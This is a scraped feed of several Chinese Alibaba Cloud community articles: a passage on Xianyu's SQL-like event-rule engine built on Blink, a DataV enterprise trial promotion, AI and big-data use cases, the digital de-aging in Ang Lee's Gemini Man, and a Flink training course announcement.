        • 研发周期长。一开始,我们先用最快的实现方案来做,主要是为了快速验证规则策略的有效性,并没有做大而全的设计,每个需求都是case by case地写代码来实现。那么从开始开发真正能到上线,很可能就是三周,主要因为客户端发版是有窗口的。
        • 运营效率慢。因为上线慢,导致获取业务数据后再分析效果就很晚了,然后还要根据数据再去做调整那就更晚了。这样算下来,一年也上不了几个规则策略。

        工程化解法——基于事件流的规则引擎

        针对上述问题,我们先做了一层业务抽象。运营先通过对用户的各种行为进行一个分析和归类,得出一个共同的具体的规则,再将这个规则实时地作用到用户身上进行干预。

        针对这层业务抽象,我们再做了工程化,目的就是为了提升研发效率和运营效率。这样就有了第一个方案——基于事件流的规则引擎,我们认为用户的行为是一串顺序的行为事件流,使用一段简单的事件描述DSL,再结合输入和输出的定义,就可以完整地定义一个规则。

        以上述用户增长的第二个实验为例,如下图所示的DSL即可简单表达出来:

        规则引擎的局限性

        该规则引擎可以很好地解决之前用户增长业务下的几个策略,随后我们进行了内部推广,准备在闲鱼C2C安全业务下也落地。在C2C安全业务上有如下描述:

        在C2C安全业务上,也有一个看似是一个针对一系列行为作出的规则抽象,如下图所示:

        但是将上述规则套上规则引擎后,就会发现无法将安全的规则套上规则引擎。假设我们的详细规则是1分钟内被拉黑2次,就对该用户打上高危标记。那么我们想一想,当来了第一个拉黑事件后,匹配上了。然后紧接着来了第二个拉黑事件,也匹配上了。此时按照规则引擎的视角,条件已经满足了,可以进行下一步操作了。但是再仔细看一看规则,我们的规则是要被不同的用户拉黑,因为有可能是同一个用户操作了多次拉黑(同时多开设备)。而规则引擎上只知道匹配到了2次拉黑事件,对规则引擎来说已经满足了。却无法知道是否是不同人操作的。起根本原因是因为在规则引擎里,事件都是无状态的,无法回溯去做聚合计算。

        新的解决方案

        针对规则引擎的局限性,重新分析和梳理了我们的实际业务场景。并结合了业界知名的通用的解决方案后,设计出了新的方案,定义了新的DSL。可以看到,我们的语法是类SQL的,主要有以下几个考虑:

        • SQL已经是语义完备的编程语言,不用再去做额外的语法设计。
        • SQL是一门很简单的语言,不需要花太多时间就可以掌握。
        • 我们闲鱼的运营同学会写SQL,这样会让上线效率更快。


        新的DSL方案与之前的规则引擎相比主要有以下几个增强:

        • 增加了条件表达式。可以支持更丰富更复杂的事件描述,也就能支撑更多的业务场景。
        • 增加了时间表达式。通过WITHIN关键字,定义了一个时间窗口。通过HAVING之后跟的DISTINCT等关键字,就可以针对时间窗口内的事件进行聚合计算。使用新的方案,就可以很好地解决上述C2C业务上的规则描述问题。
        • 扩展性强。遵循了业界标准,与具体业务的输入和输出无关,便于推广。

        针对之前的C2C业务上的规则描述问题,使用新方案的例子如下:

        整体分层架构

        基于这套用EPL(Event Programming Language)写出的DSL,为了做好工程化,我们做了如下的整体分层架构。为了快速实现最小闭环验证效果,我们选择先基于Blink(Blink是阿里对Flink的内部优化和升级)做云上的解析和计算引擎。

        在这个分层架构里,至上而下分别是:

        • 业务应用。在这里是我们整个系统的业务方,已经在多个业务场景下做了落地。
        • 任务投放。这里是对业务应用层提供DSL声明和投放的能力,能可以做简单的圈人,以及与用户触达模块的关联。
        • 用户触达。这个模块用于接收来EPL引擎计算的结果,根据关联的Action来实施动作。同时这个模块也可以独立对业务应用提供服务,即各个业务方可以拥有自己的逻辑,通过用户触达模块来触达用户。
        • EPL引擎。目前已经实现了云上的解析和结算。用于接收来自任务投放里声明的DSL,再去解析和运行在Blink上。
        • 事件采集。负责通过服务端日志和行为打点里采集行为事件,并归一化地输出给EPL引擎。

        事件采集

        通过切面的方式拦截所有的网络请求和行为打点,再记录到服务端日志流里。同时通过一个事实任务对事件流进行清洗,按前面定义的格式清洗出我们想要的事件。再将清洗后的日志输出到另一个日志流里,供EPL引擎来读取。

        EPL实现

        由于我们采取了类SQL语法,而Calcite是业界通用的解析SQL的工具,因此我们采用Calcite并通过自定义其中的parser来解析。如果是单一事件的DSL,则会解析成Flink SQL。如果是多事件的DSL,则会解析后通过直接调用Blink的API接口的方式来实现。

        用户触达

        当EPL引擎计算出结果之后,会输出给用户触达模块。首先会进行一个Action路由,最终决策出需要由具体哪一个Action来响应,最后通过与客户端之间的长连接将Action下发到端上。端上收到具体的Action后,会先判断当前用户的行为是否允许展示该Action。如果可以的话,就直接执行Action的具体内容,曝光给用户。用户看到这次响应后会有相应的行为,那么这部分的行为会影响到Action路由,对这次的路由的做出一个反馈。

        案例

        新方案上线后,我们就在越来越多的业务场景里进行了落地。这里列举2个例子:


        在上述鱼塘的例子里,可以看出来,我们这套方案已经有了一点算法推荐的影子了。在上述租房的例子里,由于规则过于复杂,用DSL表达起来很麻烦,所以就做成只采集4次浏览不同租房宝贝的规则,即触发后,就将这里的数据都给到租房的具体开发的业务方,这也是我们在落地过程中摸到的边界。

        结论

        使用这一套完整方案,研发效率上有了很大的提升。原先通过写代码case by case的方式一般要4个工作日完成整个研发流程,极端情况下需要跟客户端版本则需要2-3周的时间。现在通过写SQL的方式一般要0.5个工作日即可上线。此外,这套方案还有如下几个优势:

        • 高性能。整条链路计算完毕平均耗时5秒。
        • 高可靠。依托于Blink的高可靠性,承载了双十一上亿的流量。

        通过在多个业务的落地实践,我们也摸索出来这套方案的适用边界:

        • 对实时性要求高
        • 强运营主导规则
        • 能够用SQL表达

        未来规划

        当前整套方案还有如下几个问题:

        • 整条链路计算完毕平均需要5秒左右。如果放到对实时性要求更高的游戏任务场景下时,这就无法满足了。假设,今天有个任务是浏览10个宝贝详情。当用户浏览到第10个宝贝时,还要再等5秒才给予响应,用户是无法接受的。因此需要对整体性能有进一步提升,要在毫秒级内给出响应。
        • 闲鱼的业务已经连年保持了高增长,未来可能会面对比当下翻三番的用户流量,如果所有计算依然全部放在云上,则对云上的算力消耗是个极大的挑战。
        • 目前我们的设计上,是没有算法接入的,只有简单的圈人。而为了让规则的投放更加精准,进而提升规则对用户的有效性,是需要与算法结合的。

        因此综上,我们未来的规划将会聚焦于端侧实时计算能力的挖掘和算法能力的结合上。

        ]]>
        DataV企业版免费试用来啦! Fri, 02 May 2025 09:39:04 +0800

        作为一款定位于大屏端可视化展示分析的工具,在功能上,DataV最主要的还是提供可拖拽的大屏界面配置组件,以及各种各样的模版,用类似PPT套模版的方式轻松实现大屏般的效果。

        用过DataV的盆友都知道,DataV只有基础版的试用,现在重磅推出了企业版的免费试用哦!想要试试企业版的功能的基础版用户们可以来试一下!

        云栖使用.gif

        DataV企业版是在基础版功能上,在发布的安全性、企业级数据库、以及在可用的组件上都有了更好的支持。DataV企业版可以更好地满足强定制化需求,定制化能力跟基础版相比较更出色,先来get一下企业版有哪些基础版没有的功能吧!

        发布分享

        企业版支持新的发布方式,包括密码访问、动态toke鉴权访问和项目拷贝他人,提高发布的安全性。

        发布.jpg

        数据库

        在数据库方面上,企业版新增多种可支持的数据库,包括RDS for PostgreSQL、RDS for SQLServer、Hybird DB for PostgreSQL、tablestore、oracle、SQLserver、阿里云API网关、业务实时监控服务、分析服务、数加接口对象存储OSS、简单日志服务SLS、one service、HSF、静态JSON口。

        数据源.jpg

        组件升级

        企业版全新升级了提高安全性的地图组件,替换了原有固定组合地图图表。在基础图表组件的基础上,增加了高级图表组件、地图组件和E Charts组件,还增加了自定义的灵活性新增可交互组件,包括TAB和时间轴等,让大屏编辑更加丰富。

        组件.jpg

        交互支持

        在基础版支持回调ID功能上,企业版增加了支持回调ID变量绑定、基础交互组件的功能,具有更强大的交互分析能力。

        交互.jpg

        项目及模板

        DataV企业版可使用高级模板、支持20个项目(可购买扩展包)、支持2个工作空间、支持20个组件收藏。对于项目比较多的用户来说,可操作性更大了,不用再掰着手指头精打细算屏幕了,还可以用组件收藏提高工作效率。

        模板.jpg


        全球贸易.gif
        运维监控大屏.gif
        安全攻击监控.gif
        自然灾害中心.gif

        超多高级模板任你选择,有选择恐惧症的盆友要小心了!

        进阶功能

        企业版更拥有组件成组、隐藏、锁定功能。
        成组.gif

        前段时间刚上线的马良功能,企业版也有哦!马良能够迅速学习和识别手绘草图、信息图表、大屏截图等资料,并在DataV内自动生成可配置的可视化应用。

        动图1.gif


        动图2.gif

        PS:详细的马良功能介绍可见文章——手绘稿如何1秒变身数据大屏?深度学习让人人成为可视化专家


        企业版相比基础版来说增加了这么多的功能,到底能做出怎样的效果呢?让我们一起来欣赏一下用企业版完成的炫酷大屏吧!

        物流监控 – 某物流集团业务全景

        物流案例1.gif

        能源电力 – 某电力集团业务全景
        电力.jpg

        政务大数据
        政务数据.gif

        看完这么炫酷的企业版大屏,被基础版局限技能的小伙伴们,快来大展身手吧!

        给大家献上尝鲜体验的链接:https://datav.aliyun.com/trial

        ]]>
        手把手带你认识大数据和人工智能 Fri, 02 May 2025 09:39:04 +0800 原标题:大数据和人工智能:3个真实世界的用例

        大数据和人工智能够帮助企业以新的方式改善客户体验。

        人工智能和大数据之间的关系是双向的。可以肯定的是:人工智能的成功很大程度上取决于高质量的数据,同时,管理大数据并从中获取价值越来越多地依靠(诸如机器学习或自然语言处理等)人工智能技术来解决对人类而言难以负担的问题。

        正如Anexinet公司高级数字策略师Glenn Gruber所述,这是一个“良性循环”。大数据中的“大”曾经被视为一种挑战而不是机遇,但随着企业开始推广机器学习和其他人工智能学科的应用,这种情况正在发生变化。

        Gruber解释说,“如今,我们想要尽可能多的数据,这不仅是为了更好地洞察我们试图解决的业务问题,而且因为我们通过机器学习模型输入的数据越多,它们得到的结果就越好。”

        当大数据遇到人工智能:跨行业的用例

        以下深入地了解这个更广泛的循环中的一个部分:如何将人工智能当作处理大数据的强大杠杆的示例,无论是用于分析、改进的客户体验、新的效率还是其他目的。人们需要考虑以下人工智能和大数据应用的三个重要因素:

        1.从非标准化来源收集结构化数据

        大数据面临很多的挑战,例如以一种可用的、具有成本效益的方式存储大数据。当涉及到非结构化数据时,其“可用”部分尤其棘手,根据研究机构的一些估计,非结构化数据占企业数据的大部分份额(70%或更多)。当人们谈论大数据将不可避免地继续增长时,非结构化数据是这种增长的主要驱动力。

        将非结构化信息转换为可用格式对人类来说是一项极其繁琐的工作,特别是在重复(但完全必要)的后台操作中。

        Exasol公司首席技术官Mathias Golombek指出,发票处理是一个特定的示例,它阐明了使用人工智能从非结构化(或非标准)格式中自动提取结构化数据的广泛可能性。

        Golombek说,“如何将人工智能应用于大数据的一个例子是训练一个模型,该模型从扫描的发票和提取的结构化数据的历史数据中学习:发票ID、到期日、收件人等。这一信息通常必须由工作人员来解释,因为每张发票看起来都有些不同,具有不同的名称或语言。但是,如果企业使用数千张发票的历史数据,则可以创建一个模型,通过扫描新发票即可自动为其提供结构化数据。”

        使用人工智能从非结构化数据源自动提取结构化数据的这一相同原则可以广泛应用,不仅适用于财务或人力资源等运营领域,还适用于企业内容管理的广泛(通常是无意义的)类别。这对数据分析、机器人过程自动化(RPA)和其他形式的自动化以及其他目的都是一个潜在的好处。

        ABBYY公司首席创新官Anthony Macciola说,“组织正在使用人工智能改变其最有价值的资产——内容。表示,高达90%的企业内容都是非结构化的数据,并且以每年高达65%的速度增长。大多数非结构化数据都无法分析,从而导致有价值的信息丢失和无法使用。借助人工智能,组织将非结构化数据转换为可在智能自动化系统中使用的可行信息。这使业务领导者可以更快地做出更好的业务决策。”

        2.简化复杂的官僚程序

        在采用大数据的场合,就会有复杂性和官僚主义。例如医疗、保险和金融服务等领域,因此,这些行业正在越来越多地尝试采用潜在的方式来使用人工智能技术来减少繁文缛节,并在围绕法规遵从性和其他问题的复杂需求中改进流程和结果的潜在方法。

        以下例举金融领域的一个更深层次的例子:

        Persistent Systems公司数据、分析和人工智能/机器学习总经理Sameer Dixit说:“金融科技完美地说明了人工智能/机器学习如何改变银行机构向消费者提供金融服务的方式。银行的后台操作涉及庞大而复杂的数据集,这些数据集需要大量人力。如果由机器人流程自动化(与人工智能/机器学习结合使用)进行处理,则可以在执行了解客户、验证客户身份和地址等任务时节省大量时间和成本。贷款本身也是劳动密集型的工作。借助人工智能/机器学习,降低成本,并以更具吸引力的利率向那些信用记录有限的人提供贷款,正在扩大一个以前服务不足的市场。”

        AI Foundry公司产品管理总监Arvind Jagannath指出,抵押贷款行业是目前正在尝试人工智能的金融行业的特定子集。

        Jagannath说,“人工智能正在以多种方式改善抵押贷款行业中的数据分析。”他列举了三个方面的例子,说明了人工智能可以在哪些方面为贷款人和客户带来好处:

        •吞吐量:Jagannath说,“目前业内平均完成抵押贷款的时间约为3至4周。使用人工智能来自动化‘关键路径流程’,只需几天就可以完成抵押贷款的处理。这种吞吐量的增加使购房者的购房体验更快、压力更小,并帮助银行和其他贷款人更快地处理更多贷款。”

        •分析速度:从某种意义上说,贷款处理是信息处理的另一种表达方式。人工智能可以加快速度,达到实时处理的程度。Jagannath说:“人工智能越来越多地被用于销售点,以提供更多的贷款人自助服务。”

        •处理和结果的准确性:Jagannath说,“使用人工智能和自动化,能够以高准确率处理抵押贷款。人类会感到疲劳,这种疲劳会导致出现错误,而人工智能技术可以全天候工作,而不会疲劳且精度很高。”

        当然,金融、医疗和其他公司在削减繁文缛节的同时,将不得不与人工智能偏见作斗争。

        3. 更好地利用视频和语音资源

        当想到在各种组织中可以产生固有的“大”数据的媒体格式时,通常会想到语音和视频。两者都提供了人工智能如何应用于改善企业如何管理和从现有媒体资产中获取价值的实例,或者如何改善未来使用这些格式和其他格式的示例。

        Anexinet公司高级分析总监Brian Atkiss指出,像自然语言处理(NLP)这样的人工智能学科在企业如何使用他们的语音数据、从语音分析到语音到文本转录方面创造了相当多的新改进。

        此外,人工智能可以解决与基础数据相关的挑战。例如,可能为了质量保证和培训而录制视频或音频,实际上就是在使大数据变得更大。

        Atkiss解释说,“在以往,出于人工审查和合规的原因,企业会存储通话记录数据,有时会长达7年甚至更长时间。这些数据以单声道格式记录,并经过高度压缩以减小文件规模和存储成本。随着语音到文本算法的发展,这些通话记录数据突然变成了有用数据的宝库,企业可以利用这些有用数据来衡量客户体验并改善运营绩效。”

        人工智能驱动的新分析机会也彻底改变了与通话记录和其他语音数据相关的存储挑战。

        Atkiss表示,“更高质量的音频文件从语音到文本的算法产生了更好的准确性,因此企业需要使用未压缩的音频,这可能会使存储成本更高。在此可以采用人工智能,这是因为它具有自动转录语音记录的功能。”

        Atkiss说,“这些录音文件现在可以实时或接近实时地转录,生成的录音提供通话记录,可以用于高级分析。这些文本记录可以存储,而高质量的未压缩音频文件现在可以删除,不需要存储。企业提供实时访问这些数据的能力也要求在数据存储和处理方面取得进展。”

        视频文件的处理可以带来类似的机遇和挑战。人工智能现在使企业能够更好地管理和发现企业视频资产的价值。

        IBM Watson企业视频产品高级总监Chris Zaloumis说:“人工智能技术使企业能够通过高级元数据丰富功能和以前未开发的见解来理解和优化视频内容库。从提高参与度和增加可发现性到自动化隐藏式字幕和进一步提高包容性,人工智能为企业提供了必要的工具,使其能够在真正的全球、始终在线的环境中运营。”

        语音对文本技术在提高视频应用程序的可访问性和包容性方面,包括在实时订阅源中,可以起到巨大的作用。Zaloumis说,“像人工智能驱动的实时和按需自动字幕显示,这样的实用应用程序为听力障碍员工和聋哑人弥合通信的鸿沟提供帮助。”

        版权声明:本文为企业网D1Net编译。

        原文发布时间:2019-10-31
        本文作者:Kevin Casey ;责任编辑:cres
        本文来自云栖社区合作伙伴“企业网D1Net”,了解相关信息可以关注“企业网D1Net

        ]]>
        ​ 还用磨皮?快看李安的“AI易容术” ​ Fri, 02 May 2025 09:39:04 +0800 原标题:《双子杀手》票房扑街又怎样?李安开创的“AI易容术”,甩那些磨皮换脸大片几条街

        image

        文章来源:大数据文摘;作者:刘俊寰

        上映快小半个月了,李安导演的《双子杀手》大家都看了吗?

        这是李安继《少年派的奇幻漂流》(2012)和《比利林恩的中场战事》(2016)之后,再次推出的好莱坞电影工业的革新之作。

        但从评价上看,大家对《双子杀手》褒贬不一,有人说它情节空洞故事简单,也有人力挺李安导演对技术的全新探索。

        不管怎么说,《双子杀手》的卖点仍然在于“120帧+4K+3D+数字人物”的视觉尝试,电影以何种方式逼近真实,以及如何利用人工智能打造出“年轻版”的虚拟角色。

        image

        其实,李安对于技术的“迷恋”实际从《少年Pi的奇幻漂流》就开始了,当年3D技术还没有发展成熟,但李安还是坚持选择了3D方式,在拿到第85届奥斯卡最佳导演的时候,李安坦言拍摄过程的艰辛,“有时候整个晚上12个小时连一个镜头都拍不下来”。

        image

        到了《比利林恩的中场战事》,李安又是首次将“120帧+4K+3D”的方式呈现在了全球观众眼前,革新了电影的视觉语言。

        《双子杀手》李安再次率先革新电影技术,在“120帧+4K+3D”的基础上,利用AI技术直接创造出了一个数字人物!

        AI时代,李安如何将技术融入叙事

        本着《双子杀手》并非靠故事吸引人的观点,文摘菌小小地剧透一下!

        电影中,威尔史密斯一人分饰两角,同时出演了50岁特工Henry和23岁特工Junior,也就是“年老版”自己和“年轻版”自己。

        虽然听上去和以往的技术实现并无差别,但换句话说,《双子杀手》完全实现了真实明星克隆版的全片数字化,是不是一下子就高大上起来了!

        不难想象创造一个数字化人物的难度,这不是磨皮去皱,也不是“面部置换”,是对演员表演百分之百的视觉捕捉。

        实现这项技术的是早已在业界声名鹊起的维塔工作室(WETA WORKSHOP),那些你叫得出名字、叫不出名字的科幻电影,或许都和他们有过一腿。

        官网链接:https://www.wetaworkshop.com/

        image

        维塔工作室共计已经获得了6项Oscar和10项BAFTAS提名,成绩相当傲人!

        image

        在打造《双子杀手》的数字人物的时候,他们主要借用了数据处理与人工智能技术,通过面部识别设备和动作捕捉设备,完全由数字计算生成年轻版的角色,这大大降低了特效师的工作量。

        拍摄时,威尔史密斯要带上一个头部模具,模具上的两台摄像机能最细致地记录他所有的面部表情变化。

        640

        特效师再通过模具校准脸上所有的跟踪点。

        640_1_

        随后在电脑上进行计算和转换,重构虚拟形象Junior的整个面部和表情细节。

        640_2_

        最终呈现效果就如图所示,年轻版的威尔史密斯不仅拥有如假包换的皮囊,还拥有自然且丰富的表情。

        640_3_

        在打造年轻版威尔史密斯的时候,维塔工作室还参考了他20多岁时候的录像视频,不是任何电影中被处理过的影像视频,而是捕捉他生活中最真实的素颜状态。

        李安导演自己也说道:“这次能够和威尔史密斯合作这部新片,是一次非常特殊和美妙的体验,因为要感谢最新的科技,能够让我不只是跟一位威尔史密斯、而是跟两位同时合作。”

        也正是通过数字人物的实现,李安电影中的矛盾点才得以最大化地显现出来,即真实与虚构、压迫与反抗、观看与被观看等,这些都建立在“120帧+4K+3D+数字人物”的基础上,可以说,《双子杀手》真正把技术融入到叙事中去了。

        不过,这也不是该技术的首次运用。《钢铁侠》、《终结者》等电影都已经让观众见识到了该技术。最近,该技术在马丁西科塞斯的新片《爱尔兰人》也有大规模使用,三位演技派老演员重返中年,上演纽约黑帮传奇。

        image

        但是,也有相关评论针对该项技术无不感到遗憾,因为科技可以让他们的脸看上去年轻,但却无法让他们的神态和体态重回盛年。观众依然能很明显地看出,“年轻”的阿尔帕西诺从沙发上起身的时候,蹒跚迟缓宛如一个老人。

        前AI时代,那些神奇的“易容术”

        在利用AI技术之前,想要在视觉上实现对演员的“修饰”,都并不是那么简单,因为这需要演员自身的努力。

        克里斯蒂安贝尔可以说是行业典范了,他曾为《机械师》(2004)减重63磅(28.5公斤),随后为拍摄《蝙蝠侠前传1:侠影之谜》(2005)恢复健壮身材,2010年的《斗士》再次狂减30磅(13.6公斤)。

        image

        杜琪峰导演的电影《大块头有大智慧》(2003)中,刘德华穿上肌肉道具变身大隻佬,不得不说,这个扮相让观众有点出戏。

        image

        正如上文所说,不管是“同框的一人分饰两角”还是“电影回春术”都并非首次出现,那么在AI技术之前,他们是如何实现的呢?

        “电影回春术”:Digital Domain的“表情捕捉”

        2008年的电影《返老还童》想必大家也都还留有深刻印象,这不仅是著名导演大卫芬奇的代表作之一,也让布拉德皮特收获到了奥斯卡最佳男主角的提名,他在这部电影中从年老演到了年轻。《返老还童》也拿下了第81届奥斯卡的最佳化妆和最佳视觉效果奖。

        image

        而布拉德皮特能够成功“变老”,这要归功于Digital Domain公司和VFX。

        他们先把三个不同人生阶段(60岁,70岁,80岁)的人物外形画下来,然后,将扮演男主的不同演员的肩部、头部拍摄下来进行组合调整,设计出同一人物不同人生阶段的不同外形。

        这些外形设计还需要再次扫描调整,才能和皮特的真人表演结合。

        Digital Domain公司拍下了皮特约120种表情,然后把这些信息放入不同的3D模型中处理,创造了数以千计的皮特模型。Digital Domain公司管这技术叫“表情捕捉”。

        640_4_

        Digital Domain公司用了很多软件工具尝试让数码模型动起来,他们一帧一帧地比较皮特的真人表演和表情数据库里的异同,搭建起一个CG模型,然后将模型和真人表演连接起来。

        在国内,这也不是什么稀罕事了,只是国内的电影特效公司更多用“磨皮+去皱”简单两步,效果就不那么尽如人意了。比如《神探蒲松龄》(2019)中的成龙大哥,尽管制作团队特意参考了早期成龙主演电影,并结合二维与三维的技术手段,对成龙进行了年轻化处理,但不得不说,这个妆容看上去违和感十足。

        image

        一人分饰两角同框:动作捕捉技术实现革新

        AI之前一人分饰两角同框的电影也不是没有。

        最典型的是让演员在同样场景下演出两遍,过程中机位、灯光、构图等都保持相同,演员换装后重新走位演绎另一个角色,最后通过后期处理实现同时出镜。

        同样以成龙大哥为例,《双龙会》(1992)算是比较早的运用电脑画面合成技术,实现“一人分饰两角同框”的了。

        640_5_

        或者在关键场景采用“替身+错位”的方式,比如《新白娘子传奇》中许仕林高中状元去见许仙的相认场景。

        640_6_

        而随着“动作捕捉”技术的诞生和发展,这些略显笨拙的方法逐渐成为过去时,1997年詹姆斯·卡梅隆拍摄电影《泰坦尼克号》的时候,借助动作捕捉技术建立了CG人物动作库。

        2001年,彼德·杰克逊用《指环王》塑造了影史上最著名的动作捕捉角色——咕噜,这个技术在“猩球崛起”系列电影中更是得到了大规模运用。

        640_7_

        到了2015年的《速度与激情》第七部,利用兄弟替身+动作捕捉和数字合成,已经可以让保罗沃克“起死回生”!

        640_8_

        技术的发展也在改变着电影的生产方式和呈现方式,不管是“电影回春术”还是“一人分饰两角同框”,甚至是创造完全虚拟的“数字人物”,都将得到实现,更会逐渐迈向成熟。

        说回《双子杀手》,从票房上看,李安似乎是失败了。据称《双子杀手》的成本达到了1.38亿美元,而截至目前的全球票房仅有1.65亿多美元。

        image

        但是真的如此吗?现在下定论或许还为时尚早,就像我们也会疑惑“120帧+4K+3D+数字人物”真的会是电影的未来吗?

        时间会来证明这一切。

        相关报道:
        https://www.douban.com/note/33128071/
        https://movie.douban.com/review/10535612/

        原文发布时间:2019-11-20
        本文作者:刘俊寰
        本文来自云栖社区合作伙伴“大数据文摘”,了解相关信息可以关注“大数据文摘

        ]]>
        Flink 实战:如何解决生产环境中的技术难题? Fri, 02 May 2025 09:39:04 +0800 大数据作为未来技术的基石已成为国家基础性战略资源,挖掘数据无穷潜力,将算力推至极致是整个社会面临的挑战与难题。

        Apache Flink 作为业界公认为最好的流计算引擎,不仅仅局限于做流处理,而是一套兼具流、批、机器学习等多种计算功能的大数据引擎,以其高吞吐低延时的优异实时计算能力、支持海量数据的亚秒级快速响应帮助企业和开发者实现数据算力升级,并成为阿里、腾讯、滴滴、美团、字节跳动、Netflix、Lyft 等国内外知名公司建设实时计算平台的首选。

        FFA_

        更好的释放 Flink 的强大算力,需要解决哪些问题?如何进行技术选型?针对业务的特点如何进行相应改进? 实践过程中需要规避哪些坑?

        11 月 28-30日,Flink Forward Asia 重磅开启!由来自阿里巴巴及 Ververica 的 19 位 Flink 技术专家们倾力打造的四门培训课程,针对不同阶段、不同学习需求提供技术支持,赋能一线开发者,是小白同学也适合深度学习课程。

        培训仅剩的少量名额开放预约中,详情可加微信(ID:candy1764)咨询,从基础概念的准确理解到上手实操的精准熟练,四门线下实战课程,帮你从容应对生产环境中的技术难题。最后一周,不容错过!

        参与培训课程你能收获什么?

        1. 你将准确了解分布式数据流、事件时间和状态等核心概念以及在 API 中的体现,并学习如何将这些概念组合在一起来解决实际问题。
        2. 你能充分学习 Flink 应用程序的部署和操作相关的实践性介绍、Flink 运行中涉及的核心概念,以及用于部署、升级和监控 Flink 应用程序的主要工具。
        3. 你将知道如何更好的发挥用 SQL 编写 Flink 作业的潜力,现场研究流式 SQL 的不同案例,包括连接流数据、维表关联、窗口聚合、维护物化视图,以及使用 MATCH RECOGNIZE 子句进行模式匹配等。
        4. 你能够提前了解流计算作业从早期 PoC 阶段慢慢过渡到生产过程中最常见的挑战,并为大家提供超实用的故障诊断工具集,还将介绍例如监控、水印、序列化、状态后端等领域的最佳实践和技巧,帮助你从 Flink 小白成长为 Flink 技术专家。

        重要提示:该培训项目由四个实践和教学环节组成,于 11 月 29 日 下午- 30 日全天(共计 1.5天)同时进行,旨在帮助您提升流处理的编程能力和对 Apache Flink 技能学习。

        中阶一:Apache Flink 开发人员培训

        课程介绍

        课程时长:1.5 天

        课程目标:

        1. 本课程是对想要学习构建流应用程序的 Java 和 Scala 开发人员进行的关于 Apache Flink 的实践介绍。
        2. 培训将重点介绍分布式数据流、事件时间和状态等核心概念。
        3. 这些练习将使您有机会了解这些概念在 API 中是如何被体现的,并了解如何将这些概念组合在一起来解决实际问题。

        Tips:本课程为纯英文授课,同时配有中文技术专家支持解答问题。

        讲师介绍:

        主讲:

        David:负责 Ververica 培训,Data Science Retreat 的老师和导师,建立了大数据工程课程并且带领团队构建了分析管道,推荐系统和可视化产品等。

        协助:

        • Qinjun:Ververica 解决方案架构师,因斯布鲁克大学博士,专注于分布式计算和系统架构。
        • 戴资力(Gordon):Apache Flink PMC,Ververica Software Engineer,主要负责 Flink 的系统开发。
        • 宋辛童(五藏):阿里巴巴高级开发工程师,主要负责 Apache Flink 及阿里云实时计算中资源调度与管理机制的研发工作。

        课程目录:

        • 介绍流计算和 Apache Flink
        • DataStream API 的基础
        • 为 Flink 开发做准备(包括练习)
        • 有状态的流处理(包括练习)
        • 时间、定时器和 ProcessFunction(包括练习)
        • 连接多个流(包括练习)
        • 测试(包括练习)

        说明:不需要 Apache Flink 的相关知识。

        中阶二:Apache Flink 运维培训

        课程介绍

        课程时长:1.5 天

        课程目标:

        1. 本课程是针对 Apache Flink 应用程序的部署和操作相关的实践性介绍。
        2. 目标受众包括负责部署 Flink 应用程序和维护 Flink 集群的开发人员和运维人员。
        3. 演示将重点介绍 Flink 运行中涉及的核心概念,以及用于部署、升级和监控 Flink 应用程序的主要工具。

        讲师介绍:

        主讲:

        • 徐帅(辅机):阿里巴巴实时计算平台高级专家,目前负责 Flink CEP 引擎及部分 Runtime 模块。
        • 高赟(云骞):阿里巴巴技术专家,主要从事 Flink Runtime 层的设计与研发。
        • 朱翥(长耕):阿里巴巴技术专家,主要负责阿里云实时计算的调度和容错相关的工作。

        协助:

        • 沙晟阳(成阳):阿里巴巴技术专家,目前主要关注 K8s 生态下的 Flink 研发。
        • 赵开兴(纯庚):阿里巴巴技术专家,对 Flink 和阿里云实时计算产品的技术特点、应用场景、应用过程可能遇到的问题有丰富的经验和理解。

        课程目录:

        • 介绍流计算和 Apache Flink
        • 数据中心里的 Flink
        • 分布式架构介绍
        • 容器化部署(包括实际操作)
        • 状态后端和容错(包括实际操作)
        • 升级和状态迁移(包括实际操作)
        • 指标(包括实践)
        • 容量规划

        说明:不需要对 Apache Flink 有先验知识。

        中阶三:SQL 开发人员培训

        课程介绍

        课程时长:1.5 天

        课程目标:

        • 您将学习到如何充分发挥使用 SQL 来编写 Apache Flink 作业的潜力。
        • 我们将研究流式 SQL 的不同案例,包括连接流数据、维表关联、窗口聚合、维护物化视图,以及使用 MATCH RECOGNIZE 子句进行模式匹配(这是 SQL 2016 新提出的标准)。

        讲师介绍:

        主讲:

        • 伍翀(云邪):Apache Flink PMC,阿里巴巴技术专家,Flink/Blink SQL 模块的核心开发之一。目前主要专注于分布式处理和实时计算。
        • 李锐:Apache Hive PMC,阿里巴巴技术专家,主要参与 Hive、HDFS、Spark 等开源项目。
        • 程鹤群(军长):阿里巴巴技术专家,核心参与 Flink Table API 相关的研发。
        • 陈玉兆(玉兆):Apache Calcite PMC,阿里巴巴高级工程师,参与 Flink 相关的研发。

        协助:

        • 张冉,主要协助阿里巴巴集团内部及广大外部用户使用实时计算产品上的疑难杂症,致力于优化实时计算产品。

        课程目录:

        • 介绍 SQL on Flink
        • 使用 SQL 查询动态表
        • 连接动态表
        • 模式匹配与 match_recognition
        • 生态系统&写外部表

        说明:不需要 Apache Flink 的先验知识,但是需要基本的 SQL 知识。

        高阶:Apache Flink 调优和问题排查

        课程介绍

        课程时长:1.5 天

        课程目标:

        1. 介绍将流计算作业从早期 PoC 阶段慢慢过渡到生产过程中最常见的挑战,并且帮助大家一起消除它。
        2. 提供有用的故障诊断工具集,并介绍例如监控、水印、序列化、状态后端等领域的最佳实践和技巧。
        3. 有机会使用新学习到的知识来解决一些异常 Flink 作业表现出来的问题。
        4. 归纳那些使作业没有进展或吞吐量没有达到预期,或作业延迟的常见原因。

        讲师介绍:

        主讲:

        • 唐云(茶干):阿里巴巴高级研发工程师,长期从事 Flink state & Checkpoint 相关研发,目前也积极参与 Flink on K8s 相关软件化输出开发和社区开发推广工作。
        • 邱从贤(山智):阿里巴巴高级研发工程师,专注于 Flink 核心引擎开发,主要从事 Flink State&Checkpoint 相关研发工作。
        • 周凯波(宝牛): 阿里巴巴技术专家,专注于基于Flink的一站式计算平台的建设。

        协助:

        • 何健超(迟南):阿里巴巴技术专家,专注于基于 Flink 的新一代实时计算平台的建设。
        • 方舒:参与阿里巴巴实时计算产品服务,为集团内部及广大外部用户使用实时计算提供技术支持及产品方案的优化。

        课程目录:

        • 时间和水印
        • 状态处理和状态后端
        • Flink 的容错机制
        • 检查点和保存点
        • DataStream API 和 ProcessFunction。

        培训课程预约说明

